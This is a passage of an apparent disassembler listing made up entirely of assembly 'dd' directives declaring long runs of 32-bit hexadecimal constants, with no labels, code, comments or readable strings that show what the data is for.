		dd 24F12B6Dh, 0EC2F1D9Fh, 4300C698h, 0EA3973F7h, 0B331B1h
		dd 9F1528EFh, 6C745442h, 35E63400h, 0CDA8A66h, 7A7D3F8Eh
		dd 0E5A5B780h, 85F5A153h, 8916BF00h, 3D12BB5Dh,	4AF2006Dh
		dd 830F07CDh, 0B600AC44h, 9B9A13E2h, 0A87F3C21h, 7A4A690h
		dd 43604953h, 20D800B8h, 2CFC1080h, 0DAD95B00h,	9053CBFh
		dd 941600B0h, 0ACFB0811h, 0D67B846Bh, 7C724E0Eh, 0ADFAC0B8h
		dd 7CBAB953h, 90F913F3h, 0C4C800BCh, 0D299FD33h, 3A7ECC04h
		dd 7483572Ch, 723B98B2h, 0F4A74897h, 4B2E8F00h,	7B9DE521h
		dd 70A6FF00h, 0EBEDDC42h, 90F9B03Ah, 4A4C73D4h,	73B81Eh
		dd 1B5BFA84h, 13AAC9h, 0D707A0DBh, 1EBA3745h, 359B2602h
		dd 60A6FB61h, 9ADB8E4h,	9ABBE8EEh, 600AB480h, 3401C422h
		dd 76C55D50h, 0B2E42E8Dh, 0D9B1143Ch, 5300C43Bh, 27032806h
		dd 8B00D7BFh, 0BD6B6CA4h, 8C4A0h, 0ECFC05E5h, 74208CE1h
		dd 3003EE0h, 7EC52C0Bh,	0F2575FD6h, 0B27F0Eh, 668EBF70h
		dd 0D103AC33h, 81DA4A00h, 614B6751h, 0C21C0A4Eh, 940F59h
		dd 6487E55Ch, 5177B77Eh, 0F10180B0h, 0B4746A07h, 3BF917F5h
		dd 7E1ED4h, 6C55610Fh, 62FC07C7h, 1931E161h, 9070C8DAh
		dd 0F0300463h, 8093D8FEh, 95F66990h, 7C3C5F00h,	0E773E310h
		dd 0FE6A00E2h, 0C14F5BFh, 9E7D1327h, 9D4BBA0Bh,	0DE2C0023h
		dd 16581825h, 432E33h, 8674CD6Ch, 232C2D03h, 0E08084C4h
		dd 65D124E1h, 0E6560607h, 4022AA09h, 54116A05h,	7491D5FBh
		dd 0FC40F4EEh, 1F1C5941h, 8C27FE3Ah, 0C1800B40h, 568CD306h
		dd 3580A7Fh, 0E3BAA810h, 10000B04h, 2C0620A0h, 5508E6h
		dd 49B99D8Ah, 2D653E01h, 4F124D06h, 60EF05h, 0AEF20EC5h
		dd 338C619Ah, 50A5BC0Bh, 0C87030A2h, 73E70014h,	4CCEEE40h
		dd 247E2F43h, 4E7F9F00h, 64A80D21h, 7CFC92B5h, 26BD0070h
		dd 67E01775h, 3F000DD5h, 66AADC5Eh, 0A64516h, 8B6CC369h
		dd 71E284BFh, 18CCD900h, 0CBAE62B5h, 72200DC1h,	0EC69C216h
		dd 5124A5EDh, 0D2009D5Bh, 23C75281h, 718C0E96h,	30208E49h
		dd 1C1E3E85h, 99D7D000h, 76452DFh, 43F80076h, 0FBEFD26Dh
		dd 2B0009E1h, 123425BBh, 6050B09Eh, 0F3D520F7h,	2E062C72h
		dd 37CBAAAEh, 0CC580019h, 0BD595EEAh, 7A2CCD29h, 0A717C4AEh
		dd 64BB4500h, 0B0EDD9EBh, 0C76300E2h, 58A937B2h, 210E679Ah
		dd 0A084100Ah, 1E591F92h, 6CF1005Bh, 0C415C5FDh, 212ED86Fh
		dd 0A90948A8h, 6E8F00D3h, 2CF48ADDh, 2C40696h, 0D20E2B78h
		dd 10BD7C00h, 0C1410350h, 0CE61B9E8h, 546F0B98h, 0CA3CA200h
		dd 0F25AD62Bh, 0E85500FFh, 0C0FAEF5h, 6C0061EEh, 7A123DC1h
		dd 0A29DCFh, 0A18B2017h, 4E40D27Bh, 56366201h, 0A854583Dh
		dd 7014E0h, 0DECAAB5Eh,	6306A5C6h, 3CF2133Fh, 79F44CD2h
		dd 157624B0h, 955CAD04h, 83557Eh, 340EE859h, 99A20092h
		dd 0A9F712Bh, 25002C21h, 6B846601h, 17615441h, 7B00CE8h
		dd 0A61093h, 1B1E26CBh,	0BE2EB700h, 0A162AB58h,	75E7F6D9h
		dd 7A4C9839h, 48DA00F9h, 0C6FD2D56h, 0E004D704h, 8DCFCCB1h
		dd 8C0ECD80h, 90EE008Eh, 0E1156756h, 6C07D1C8h,	3216E35h
		dd 0AF979B23h, 0FDD0F767h, 20638BEh, 33F1DF24h,	8C4095A9h
		dd 614D6B70h, 9C761764h, 0BD114040h, 97D74EECh,	0CF7151C1h
		dd 338650D7h, 9004320Ch, 345761A9h, 821490C0h, 0A32601EBh
		dd 7DFA9B27h, 0F78EF0BFh, 5900DAEAh, 957553E7h,	76F39A38h
		dd 2AD20091h, 49EF5C65h, 0D4A2DCDh, 0CFE44800h,	58026E57h
		dd 0F0454FEh, 0A0AD50FCh, 0D000D944h, 822099C1h, 0B64438Eh
		dd 8FF1AB27h, 0FB5BC20h, 7102CE0Ah, 7B700EF9h, 253CE072h
		dd 0D39701BAh, 92D140E8h, 582DFAh, 0F2ABE95Eh, 1270626Bh
		dd 0E42690h, 0A042743Ch, 3019E61h, 920D5B09h, 0FC40546Dh
		dd 593689h, 1D2EDF96h, 0B9A1C19Fh, 0B306A0A0h, 1EB6E40Fh
		dd 3007CF9h, 6CD57FBFh,	0E94075Fh, 514C2115h, 0C829AA20h
		dd 501F63CDh, 0A500094Fh, 3379565Fh, 70BD3C9Eh,	73D9D100h
		dd 7C1D1738h, 54E24009h, 659B003Fh, 4EA7AB6Dh, 0C8003B4Bh
		dd 0CC0369D0h, 5400694Ch, 0DC025FCEh, 0F9506h, 3254DE7Bh
		dd 3EDDEEA6h, 81B38A01h, 4E86073h, 0C801D0h, 19F34D94h
		dd 2B52289Ah, 3FCC963Dh, 86E98F54h, 0BD118F31h,	0BDEED687h
		dd 0C839B230h, 0DAA7007Bh, 0F0A54B40h, 4EE0ACBBh, 11C7F48h
		dd 5253263Fh, 6FF07B05h, 0E04203DDh, 0C1385506h, 0A29E2100h
		dd 105086C7h, 8FDE6A3h,	78AC0C6Eh, 60E1C980h, 81CF9Ah
		dd 91889362h, 0B33CA832h, 0FC5CBF7Eh, 874C00D7h, 5C9EB863h
		dd 0D77817h, 9038660Fh,	0D37A794Fh, 0A7698700h,	0AFD5AA8Eh
		dd 0A119002Fh, 2AD450E5h, 0B3002780h, 0BAE4B3Bh, 0FFDAF4h
		dd 0BEB601D6h, 212ACA78h, 1B1F0A98h, 0CAF15F02h, 49F8F8DEh
		dd 584D0005h, 1231C3B5h, 7F00C81Dh, 8161D3D1h, 0FE686A1Eh
		dd 0C6F0065h, 915FE956h, 3008713h, 3261A635h, 0DC2677h
		dd 4EE292E5h, 3C7953B0h, 1F1AD93Ch, 240EF46h, 0F97A2305h
		dd 8E270336h, 66A273F5h, 0C5D847CBh, 4C03720Ch,	8FF2C74Bh
		dd 46BAC01Bh, 3E421h
		dd 5B6E8CD8h, 0E0FE1644h, 29004FF2h, 0D7DE1F58h, 0F80DE84Bh
		dd 0FD600F6h, 0F54ADDCBh, 6600A8A0h, 0DC0B4FACh, 0E6907F85h
		dd 0B17B30B9h, 0D26B62C0h, 81BC1601h, 59F64EB7h, 8A4FC4h
		dd 56747F79h, 1C05EBF0h, 0E600E77Ah, 0AE512824h, 0AD73FCh
		dd 71BD861Ah, 96DD5A74h, 2A4DE41Ch, 0D394BB40h,	0F27F17F2h
		dd 897A0773h, 0F0237697h, 93679825h, 3645A31Ch,	490AD0C6h
		dd 0D2D30011h, 90230885h, 8900183Bh, 0FFD47CCAh, 68F58Ch
		dd 8298EC7Fh, 1C32FB2Dh, 24A2C500h, 149E59A3h, 0CA480045h
		dd 0EDEEF684h, 0A60FF978h, 942187E2h, 0D01000C4h, 6676BF22h
		dd 0FB980B2Eh, 7A0036F3h, 71EB94B4h, 58ED3407h,	7600EC47h
		dd 0E69930Bh, 9CD4E91Ah, 484FAF26h, 1EED300h, 0D29FB63Ah
		dd 0C9FF04AAh, 80DC32C2h, 0A5998378h, 0E7013400h, 70F3A20Fh
		dd 38CF244Fh, 6B06007Fh, 0DA1DFAF5h, 38D7D337h,	0AB0329C3h
		dd 9657E071h, 0F8F504CAh, 0AFEC8D62h, 287E6E80h, 786F876h
		dd 4E89654Bh, 0B0AAC783h, 60C705FCh, 2DD76103h,	0E64543A8h
		dd 0DF5600A8h, 0AF4AC5Dh, 0AB006F30h, 40229411h, 7DD774Ch
		dd 6692EE7Ch, 79DF309Fh, 60008087h, 0C6EFEA64h,	0BDD16Eh
		dd 9FF44BA0h, 9A87FD4h,	949748h, 43A9F9C5h, 1606E31h, 0EA5A466Bh
		dd 0F84D8E68h, 0B7E2093Eh, 7EF1D361h, 7D9F959h,	0EFBCFE4h
		dd 0CED2FA6Fh, 753880DEh, 2F344ABDh, 0DA8D8300h, 9D464CCCh
		dd 8B023F05h, 0BF8203F7h, 376353D8h, 84BD81Dh, 1C9981Dh
		dd 0DCA4209Eh, 67C527Fh, 0E42CF0FCh, 14002E3Fh,	45830EB9h
		dd 3E74C380h, 62805055h, 398BD304h, 7800B186h, 0A51E5E13h
		dd 2675DEA7h, 3A7CEC9Ch, 3A91A382h, 0B4403732h,	0E0006995h
		dd 9222ED0Ch, 74C6D6h, 0DD7644F3h, 0CBCFE5B4h, 9D93250Fh
		dd 0D620C073h, 275213h,	9A8577BBh, 0E7A2EE17h, 3B5E3E3Bh
		dd 0EF7A1F78h, 0E15CD94Fh, 488B0313h, 2CCCE080h, 23A3DE5Ah
		dd 0BD22321Ch, 422BEFC0h, 16286382h, 12FFDB9h, 27C6666Dh
		dd 2B3980A3h, 0A29935E7h, 0B22D1707h, 1836A842h, 0FC4643BDh
		dd 0C36F2A60h, 8CA35464h, 0FB423B16h, 0C0DB5E80h, 2062A0C4h
		dd 6D451901h, 0AF460D78h, 4030C2D1h, 0B3C0002Eh, 1F60B18Ah
		dd 90A8035Bh, 0B5265AA0h, 4100B959h, 1E60F832h,	66CD0317h
		dd 0AE97335Bh, 0BA2EEED8h, 0E030F07h, 0EAB07182h, 0E6CD2ACFh
		dd 6E4F0058h, 0C3CAC0F9h, 0D005043h, 0F2D8E804h, 771A4B2h
		dd 18058972h, 38B36345h, 0B7EA7804h, 0A480CDECh, 62D0F13Bh
		dd 6ABE182Eh, 81EA7482h, 0D6914B00h, 7E311C41h,	461FC071h
		dd 0D5AB7A61h, 8C444Ch,	0BE3ABC30h, 1F0333DFh, 4E15EAF1h
		dd 0F5A7CC5Fh, 50D0C08Fh, 56E613B8h, 1D9C184Dh,	0D4A8FFA5h
		dd 4985900h, 0CA441E0Eh, 0B6120F54h, 7BAE4F23h,	9C153360h
		dd 0BB00FB25h, 16D19F80h, 1AF3C3h, 8863B71Fh, 7BAA3E1Eh
		dd 0A924381Dh, 67C1544Fh, 0C0FF0175h, 0CCA03393h, 68B30065h
		dd 1271E852h, 0EF00DA48h, 7FAB5BF0h, 7F445F27h,	0D48000FCh
		dd 9A7B0225h, 43034696h, 0F75C1BBFh, 0E43480CCh, 602002CBh
		dd 3105AF79h, 9CED50C0h, 7CEF158h, 0B62E826Ah, 1260FA70h
		dd 5E37004Ch, 76550EE2h, 0D900C65Dh, 0D6DF2C1h,	70C627Ch
		dd 20E7031Ah, 9486D01Fh, 0D100251Eh, 0F16854A8h, 9D466h
		dd 23732DDCh, 4F916E79h, 0F500F07Ch, 8460028Bh,	4BC483h
		dd 15C16307h, 0A3C0EEFAh, 57B79000h, 0A93459D6h, 54AC0A79h
		dd 0BC456Ah, 63CC1962h,	3009312h, 1D1A320Fh, 0BB6B7h, 0C22D2617h
		dd 2295052Eh, 68156F00h, 13A49CCh, 0A4DEA90h, 0B58F7313h
		dd 0BE9D0084h, 758D7E93h, 7AD92E02h, 0E18EA99Fh, 51FCF65Ch
		dd 6DD401F1h, 0B166ACFEh, 1E906049h, 2477C83Eh,	6B0CBE3Bh
		dd 48FE3090h, 79AE10h, 96110B08h, 8A459E1Ah, 3E3220Fh
		dd 2DFE018h, 3170C0h, 0FB9FD63h, 0DDE58E08h, 81B35B3Ah
		dd 0B7D6EC32h, 0DB205244h, 59CC1B0Ch, 90BF608Fh, 7CAF4E01h
		dd 0DCDD440Ch, 741898h,	0E14C0457h, 58CB8DF9h, 0A4C30600h
		dd 83F7F220h, 63FA0533h, 0C03FB9C9h, 88137B84h,	9F409905h
		dd 0E8C02FB0h, 1B6FF418h, 10E8A051h, 0EA613AA0h, 58567605h
		dd 0AAC12B0Dh, 4ED49F1Bh, 0E0B41713h, 0B7E40093h, 77A80281h
		dd 24E8C112h, 0E079C40Fh, 0D535C0A0h, 0EF3C26F3h, 30E28D8h
		dd 8822C716h, 5EA84A67h, 0DF0084EDh, 0CF27B41Bh, 0E08AA670h
		dd 517A1E0Bh, 0B357408Dh, 0B9FE4F24h, 8720C300h, 73A1395Bh
		dd 848300FFh, 3694488Dh, 0AAE8C456h, 8A0F4D00h,	0BD7C13Fh
		dd 94144D4Bh, 2AA55407h, 1FDD72BFh, 0DE711140h,	5378371Fh
		dd 9A13F640h, 50797Fh, 1975D2E1h, 4549AB97h, 6A413B03h
		dd 80C85FD9h, 0DF0248h,	5A2EE084h, 7CC4373h, 4457C402h
		dd 603B9131h, 0FE6909E3h, 0B3E7DD0h, 0EF202DC2h, 7D516C00h
		dd 92170765h, 15136C6Fh, 0BB8C4300h, 4D0326B9h,	0ED26AC71h
		dd 409564D8h, 7DC8207Ch, 9DF0057h, 9F67232Ch, 2100FF07h
		dd 71461155h, 1D287D9Ah, 94C8A63h, 0F0804552h, 0BFB85FBEh
		dd 0F78439h, 38FA21A8h,	0B5CE98h, 0D1DA5632h, 4FF2D9FFh
		dd 75D5C209h, 75C87E5h,	0BD737D53h, 0BC627CD0h,	0E3F70067h
		dd 8D3D574Bh, 63008314h, 7F99E9FBh, 0FE020CF3h,	0AB40005Bh
		dd 68349846h, 0E8E0CD97h, 0F5638400h, 3D0C7DA8h, 0AECC007Eh
		dd 0E454D0C3h, 850183BAh, 0F9C11684h, 0E6EC483Bh, 0E2B8040Bh
		dd 0C0177947h, 23AD24CDh, 7B289A00h, 59AC6991h,	705007ABh
		dd 22D151h, 0EC3F25BCh,	3A28A3E6h, 450F8880h, 0C096E8A2h
		dd 24212C30h, 0FBFC0767h, 0D0D4AF82h, 7CA5D37Dh, 0A2987F65h
		dd 8D1E3BC5h, 97416405h, 7CB59EC0h, 0E9C500FAh,	0B3FD0793h
		dd 0B70195C8h, 9CCFB445h, 0C9E83F37h, 346800ABh, 1AA74AFBh
		dd 0F8031F7Dh, 0CBE25A42h, 2E50019Eh, 546A7EABh, 7DCC8786h
		dd 0CC20960Fh, 7A8CFC0Bh, 2AD8CFC3h, 0EADA8460h, 0B303BF74h
		dd 0DE9E2942h, 0D0B7F0B6h, 64C10033h, 24FD8732h, 0B800FE7Bh
		dd 46A3CEA8h, 756AF477h, 2E7004Eh, 1B7B0A63h, 3C0062DFh
		dd 177FCB9h, 0F99C2Ah, 3E864E4Bh, 0C4C1C08h, 9900257Ch
		dd 68F89DCDh, 7814E579h, 0A0540098h, 42225BEEh,	1A0180A5h
		dd 925CBE53h, 9DD028Fh,	130420h, 0D774BA3h, 7855C7C3h
		dd 2A3DEF0Ah, 0EE00EC4Ch, 0B9DAA9CFh, 919E00EDh, 0D67F7A1Dh
		dd 65003CB2h, 0C4D7669Bh, 0A1742FFh, 4AE2B72Fh,	374E00E7h
		dd 0F41EEE22h, 0CFAAFC00h, 657A4302h, 980737Ch,	0DC4B5ECEh
		dd 5DBA6287h, 2D3FCC0h,	0E8D6A100h, 6DE5943Ah, 932400E0h
		dd 54339DEDh, 0B8262E13h, 0D000C2F2h, 854BAA6Eh, 0CD5E0057h
		dd 2C4DE055h, 78078B74h, 0F877982Bh, 0D89EBCF0h, 20589Dh
		dd 0EBC15701h, 4087D738h, 9E12BEE4h, 0B971841Ch, 760479C0h
		dd 2843F5h, 8FAE2D0Eh, 0FBA62582h, 77085900h, 370A718h
		dd 0DA2100DEh, 0A17830AEh, 0F00025C2h, 9C73092Ah, 9849B9F5h
		dd 0AEB200B0h, 466F6DCAh, 0BDB84EE0h, 93BF441Fh, 404201C3h
		dd 0E3BCE94Ch, 0C403EE40h, 72AC0067h, 0B313BA9h, 6400E5C5h
		dd 0F5DCB023h, 412A96h,	48D575D7h, 449A0D14h, 0F7740800h
		dd 5113BA92h, 416500DEh, 0E252A545h, 0BD0028C2h, 6F96E67Ah
		dd 0FA7F300Dh, 99C80009h, 0EC5B6429h, 0AD1E5EC2h, 6CA45782h
		dd 928011h, 0D23EF2EDh,	60085F0h, 870FFAA3h, 754507BCh
		dd 0F8B80086h, 0DEC348B3h, 80E1B90Eh, 96D02420h, 38F92BCBh
		dd 1E01BD40h, 0D3941222h, 2F78F0F1h, 0FD1F1F98h, 998069FCh
		dd 0EB8F623h, 0B54D00C9h, 0F9670A4Bh, 2730CBAFh, 4A048A74h
		dd 0EC7C00B2h, 58370379h, 31003FF6h, 830F84D4h,	0FF16B1h
		dd 0B570266Eh, 0C04F478Bh, 2ADB860Ah, 0CC07D431h, 24F05617h
		dd 0D4AA11h, 0F087A8E5h, 99E1401h, 0ECD2FA01h, 0EB071577h
		dd 0EAA6B1C8h, 0F4610141h, 0E50CA19Bh, 0E64200Fh, 0B9428513h
		dd 0DE929400h, 46F7CBh,	4D168247h, 65046C60h, 1A832D0Fh
		dd 0C8380029h, 548036CAh, 204B041h, 6426E714h, 2041C593h
		dd 7F66FC21h, 1FD3F809h, 2FD4A099h, 7CC28887h, 352900AAh
		dd 9141C67Dh, 5900EB77h, 0ACCE9FA9h, 614E15h, 0BEDD3189h
		dd 0FC4CB0F8h, 0A39D2300h, 9945CC0Bh, 8B739Bh, 72EC69B5h
		dd 3AC07FBDh, 2F2E5901h, 5173EA09h, 0A07370h, 0F4F54D7h
		dd 0A40234F1h, 0B6D3B0A8h, 0DB7F6700h, 0E06215DCh, 488A4C05h
		dd 0B4BD3C00h, 0CC97112Fh, 1EB78000h, 89AAD39Eh, 0DD1B00AFh
		dd 8FA4FAC4h, 0F2007D34h, 58692B45h, 9031CBh, 67D4FCC0h
		dd 73F7A2E6h, 0D50559EEh, 8B5751EDh, 0E7D5983h,	0E4F1980h
		dd 76DC0092h, 79982E87h, 0DC199774h, 7818BC8Ch,	674109Fh
		dd 3839B8E3h, 53428EF8h, 40C07F22h, 1295C6A6h, 0ED050061h
		dd 15349FE1h, 0D0289036h, 69003C3Ch, 351F54B9h,	4C8529D4h
		dd 0F60C2D27h, 3A613CC1h, 4901281Dh, 206F9F43h,	2ED2E1A1h
		dd 2450D1DDh, 5336853h,	8B5651F2h, 0F66C443Ah, 2FCF2004h
		dd 0EECDF598h, 3ABC620h, 0C3823DA9h, 5DC11358h,	42BD207Fh
		dd 52363C1Dh, 0FF1D9A00h, 0DB9938h, 97ECCD9Bh, 2FA03755h
		dd 0A20B6502h, 0C8EF19BEh, 18141A5Ch, 118001E9h, 0D500F570h
		dd 59917542h, 0B46EF0h,	45586415h, 4AE86C9Ah, 0D47D840Fh
		dd 0E0240061h, 1F8091DEh, 249EF81h, 69A4FB36h, 0D12B42C3h
		dd 18F8049Ah, 3CD34876h, 240A5B00h, 0A1B18263h,	9A0A8FE4h
		dd 80E611D5h, 0B9EC1807h, 0CDCA83EBh, 7529215Ah, 90DC7208h
		dd 505484C0h, 44B08944h, 0B444E2CDh, 55C444BAh,	0D1425D48h
		dd 4882579h, 485C2A28h,	7507B831h, 0B0E89E6Bh, 0A59D977Dh
		dd 0F86FB802h, 55E4F236h, 0F003814Ah, 69B81E51h, 35071AFBh
		dd 9B0C5D50h, 0E76C4A60h, 0F7A704BFh, 0C0BBA51Eh, 31EFF047h
		dd 85AA0400h, 51217C7Ah, 0B2720063h, 40D15C4Dh,	793CF1B3h
		dd 8EE080BDh, 5F70A69Dh, 8AF800AFh, 7FF09AAAh, 3D0048CBh
		dd 6DAE56Ah, 0FED4AE47h, 20AB00CEh, 7455F8D7h, 75003AE9h
		dd 681D4946h, 5FBE05h, 2EB81070h, 0AA2A4F06h, 0E34B0100h
		dd 0BD1E8440h, 28520009h, 69A292F1h, 0B8019B78h, 5CCC8767h
		dd 0ECD4C031h, 796200E6h, 6D5E855Fh, 9A0A66A1h,	0FCF89CB6h
		dd 80066C0Bh, 8B10034Dh, 294900FEh, 11FCE12Ah, 21006F59h
		dd 1C3EE9D4h, 0FCD02285h, 7FB60078h, 77769542h,	43007010h
		dd 1A3BFBD7h, 5017EBE4h, 589C9C0Ch, 0A500A349h,	3002B8CAh
		dd 0D00EAECh, 0C4ABB53Ah, 0B0214659h, 3F6B0305h, 0E3D8CD20h
		dd 0F73833C8h, 3D9B8A00h, 0ED2E1F09h, 6CB4078Bh, 20088DECh
		dd 0CD6D5D41h, 45F8DE00h, 7F147A36h, 0B3750931h, 5001743h
		dd 0CAEDF397h, 2446A500h, 15D9C2B1h, 3A1D0092h,	3F5056E7h
		dd 4D182066h, 1611974Ah, 8A3009D0h, 8C009B26h, 4034027Bh
		dd 467F7C00h, 3FDE701Dh, 822500AFh, 2367D10Ch, 8A079F24h
		dd 0DBBD9461h, 0F7A55BC0h, 37045h, 3318C80Eh, 0C4D5088Fh
		dd 3FB430F1h, 6516051Eh, 115D8800h, 92E5384Ch, 0AFA501C4h
		dd 7B54C768h, 0C3DA304Fh, 5E0E90F6h, 6046A8B8h,	87137730h
		dd 0EBD7001Dh, 0C52A44D4h, 0E100BBB0h, 0EC63EDEFh, 0B8A156h
		dd 3FCD8C68h, 0FDD1B179h, 0F2DC1714h, 250B00B4h, 62A53554h
		dd 60DEE09Eh, 0CAB410BFh, 2D03C5C0h, 87A6E08Ah,	85D0D094h
		dd 96BE009Fh, 6C1D39C4h, 0BD0165C0h, 0BF6B1FC5h, 0C3EE02h
		dd 113077E8h, 7B167E22h, 0C80715E4h, 0B4A23FEFh, 974CC3C0h
		dd 0CA910073h, 6E475432h, 0F6002D25h, 137041BBh, 23A64D2h
		dd 0FAEBD472h, 4C607B27h, 0B3139DE5h, 100C79Ch,	5769743Bh
		dd 0C56C1D7Fh, 0C34E404Fh, 5B37F092h, 0EC16AD0Fh, 0FAAF201Bh
		dd 7F052995h, 0D30C0043h, 0C6A8E064h, 0B00C419h, 0C36F3F51h
		dd 7F89006h, 0EC86493Dh, 24EDF0B4h, 70182CFh, 0FC26ABB3h
		dd 30AEF5h, 147700E0h, 8B6E22B0h, 48001B1Eh, 0C454185Ah
		dd 3DF12EC0h, 0B8167276h, 57B30085h, 0C5DFD522h, 34FC9F00h
		dd 0D04584B3h, 0BBE47Ch, 0A66D44A1h, 5EF54D3Ah,	0F16FBF02h
		dd 687016AFh, 7D3259ECh, 101ECD5h, 39B9A772h, 0E8937EC4h
		dd 2E000706h, 0A4E3AF49h, 444121h, 0CF922F88h, 7742FF47h
		dd 0E3905Ch, 2EA4CA83h,	561040h, 1D3EEE68h, 6EBDC616h
		dd 25A3BA00h, 0CED71ECDh, 72620173h, 354F87F4h,	80042061h
		dd 80D8F53Bh, 81BD6DD9h, 3CA14E4Bh, 0A9AC3CF3h,	949D00A9h
		dd 48DC87CCh, 0BFB8A800h, 67648650h, 0A1ED000Ch, 1D7CECAEh
		dd 66002DFCh, 0DFA456Ah, 0C037F5D2h, 0D36C0E2Ch, 3D00EFC3h
		dd 0A0CCC00Ch, 3EBA7239h, 7D24F475h, 0A7B10004h, 14CB4887h
		dd 430DD1C0h, 0C69833h,	0C74A2B3Bh, 5C93FC66h, 8C36100h
		dd 6F13BFCFh, 0B92600AEh, 0D8ED810Eh, 2C1DDF58h, 0A92148Ah
		dd 242B040Fh, 0EA4097CAh, 0E3EFDB3Ch, 2F75C800h, 2E15010Bh
		dd 0FCF70E8Eh, 8C89E59Bh, 778D6CA0h, 4A4CD845h,	80113E19h
		dd 0F9C5277Fh, 7DA7935Eh, 0AE300002h, 0B78A7A33h, 7701EF5Ah
		dd 995EB6A5h, 7FF52B87h, 0A054F3FFh, 1F2C556h, 0F7A48FBBh
		dd 0E4C2ACEAh, 0F90076E3h, 0E935BF53h, 790FB34Eh, 67EB1F3Eh
		dd 64020737h, 16DB8010h, 0E9398AE1h, 77ED0034h,	0A591625Eh
		dd 981D0230h, 0A70550C9h, 24E15AC0h, 1C0743FAh,	8C4125BCh
		dd 9D5B2860h, 991400AFh, 4F52CCBh, 8600EC1Ah, 535023B2h
		dd 0D019E8h, 3EC13087h,	40789D27h, 1F80B100h, 3A9EBD9h
		dd 87EF1EABh, 577080BBh, 0A890BF51h, 0A20086E2h, 4C9756F5h
		dd 75D994h, 0C3E5E95Ah,	1C8DA4ADh, 440D90C1h, 1AC54C3Fh
		dd 48CE2120h, 0D002E833h, 19D92A1Dh, 4CCBF580h,	0A2008C81h
		dd 0F0A0A12Ch, 0DA628h,	0CAB6046Eh, 0FC3BFDCFh,	1DEC583Ch
		dd 33C3D987h, 23844DAh,	96019C0h, 427FE9F2h, 79480C3h
		dd 0B9C576h, 2145927Dh,	0C3190F66h, 9F55FF13h, 6F5DA400h
		dd 3BAF4A23h, 82807F45h, 0EB5186D6h, 0F2024EE8h, 9DF5CBF7h
		dd 1CD48085h, 7DC0C396h, 0FDBA005Ch, 0CB984E4Fh, 481D77CCh
		dd 8D4052D6h, 2D32D5Ah,	0E97A0069h, 805EE3F1h, 0BF0CABB2h
		dd 0B02C4371h, 258F0078h, 38722466h, 3D0003F2h,	0DB310292h
		dd 0AEF96Ch, 94B378B0h,	0BDA9C02Eh, 0B9EE6300h,	441F6E4Bh
		dd 0FD840F8Ch, 0ABA0FB97h, 59E8D624h, 65439A1Fh, 0B84E668Ah
		dd 83AD0h, 0BCE3DEE8h, 5DC3BFB1h, 0F4661403h, 888735D4h
		dd 28270773h, 14B4D70Eh, 0B86DE5ACh, 56C7D000h,	11A7B258h
		dd 5DE83Fh, 0DDCA4D2Fh,	3A353F23h, 980EFF6h, 0C5CED01Dh
		dd 0C11C7BCBh, 6F83C710h, 0D04A73A7h, 1E4A6h, 2FFDCE7Ah
		dd 7FB017F4h, 0E3EE2876h, 0C9634B0Eh, 0C4BA6094h, 2EBB3ABFh
		dd 2C612BF6h, 60450073h, 58A05B16h, 0BFCB3900h,	73DFC31Dh
		dd 246BF6D5h, 87A206h, 599EE68Eh, 7816B591h, 78000118h
		dd 0A49B5E13h, 0A81D0093h
		dd 67BA3C2Eh, 0E0C0D5C4h, 0AAEE1C11h, 0CD1300C6h, 0A5082149h
		dd 700A96Eh, 0E471661Dh, 8C57ACh, 0D72D55C7h, 0B6CEB4CAh
		dd 14E9CC17h, 0B2D10700h, 285A27h, 0BEDBA536h, 0A189B7A4h
		dd 7FD2951Ah, 0BB588068h, 736E32Ch, 9C29DC33h, 0C98E00CDh
		dd 2601964Ah, 0FC6F64C2h, 833062ADh, 0DF0106F6h, 50A56D47h
		dd 12BC1664h, 0E5AE4C80h, 8EEA24DEh, 0FDB9005Eh, 0F067E080h
		dd 0F7469B00h, 11D58865h, 2F1C0EB2h, 4867EF9Ah,	0F3292F04h
		dd 0F63BB000h, 0E600AF1Ah, 81FD8DFBh, 60B85A52h, 6DC4F4ADh
		dd 0C3162FC1h, 27F0E029h, 2DD901E7h, 997705EEh,	2F3970ADh
		dd 0E038BD39h, 0D509C8E0h, 3F500CEh, 0F258E3A8h, 40007181h
		dd 0A197D3A6h, 1878E943h, 4290491Ah, 74007E30h,	756FE33Ah
		dd 0D813Ch, 0DB70D158h,	61886EAh, 95002898h, 0DF6AA97Ch
		dd 401AF78h, 8ED80963h,	0E6F491BFh, 0F9430E2h, 0F2F611C0h
		dd 0A3EFCFh, 0D55B24C9h, 0E52C1056h, 760F030Ch,	4E2EDBh
		dd 85C4B247h, 0F2915FACh, 0E201DCE4h, 653E185Dh, 23C83294h
		dd 0EE0A1D6h, 1CBB8420h, 5DE94D14h, 7153D839h, 0DA0096D2h
		dd 0DE7C66D1h, 0B5CD9Dh, 0C4D9D8DDh, 26C27A84h,	29041100h
		dd 0D7F0E46h, 43A6006Bh, 492DB8FEh, 0F600913Dh,	8DF9CC9Dh
		dd 0E6CF2ADCh, 0A0542DC4h, 29078E78h, 0C7BD0CA2h, 46087920h
		dd 27323862h, 58C3348Ch, 3704DA51h, 8A946AF6h, 0D698E480h
		dd 83263D13h, 4548CD8Bh, 0FBBE3801h, 0E754D81Eh, 0A0C9B026h
		dd 206B390Eh, 8EADA1B4h, 0A06300A7h, 43270857h,	0AA482950h
		dd 67E70009h, 0A23BFF0Eh, 6FBC006Ch, 0CD809185h, 640939AAh
		dd 715EB1h, 0BFA9FE50h,	441003F5h, 7FE58053h, 66641800h
		dd 0A8FEF05Ch, 0F3C500C4h, 5CBFD30h, 0F278F5E2h, 0C0B8EA54h
		dd 209A7C02h, 44B8E15Fh, 1EA63D9Ch, 0C02ECD9Eh,	0FB4803CAh
		dd 0DF00FDB3h, 195F55F0h, 1DCFD77Ah, 0C04B90F9h, 50C0DE9Ch
		dd 3475E802h, 2662694Ch, 8380747Eh, 19202DD6h, 1FBB0055h
		dd 59E6FFEEh, 5100213Bh, 0E31E6DB2h, 251433h, 17FA3299h
		dd 491307D0h, 75BF1900h, 83456820h, 624100A9h, 73B84EDFh
		dd 963C3DACh, 3BCD81C2h, 56546EC6h, 0C5D7CCh, 0E05BB281h
		dd 8EB7A5F4h, 0B6EE7200h, 0EC3DEA21h, 0AA9E1CCDh, 40595FCBh
		dd 0B9A3F23Fh, 11016551h, 0E8B69FDEh, 0B300162h, 53A11F2Bh
		dd 0FFFC8045h, 0CCF7283Ch, 7B4D4E00h, 0BFD5FA8Ch, 0DCEF2809h
		dd 0CEAD01A8h, 9180D667h, 0A53DD8DEh, 24000BF8h, 5BE32E58h
		dd 837359h, 0AACCF0FEh,	7B234F25h, 482B4A00h, 537E8299h
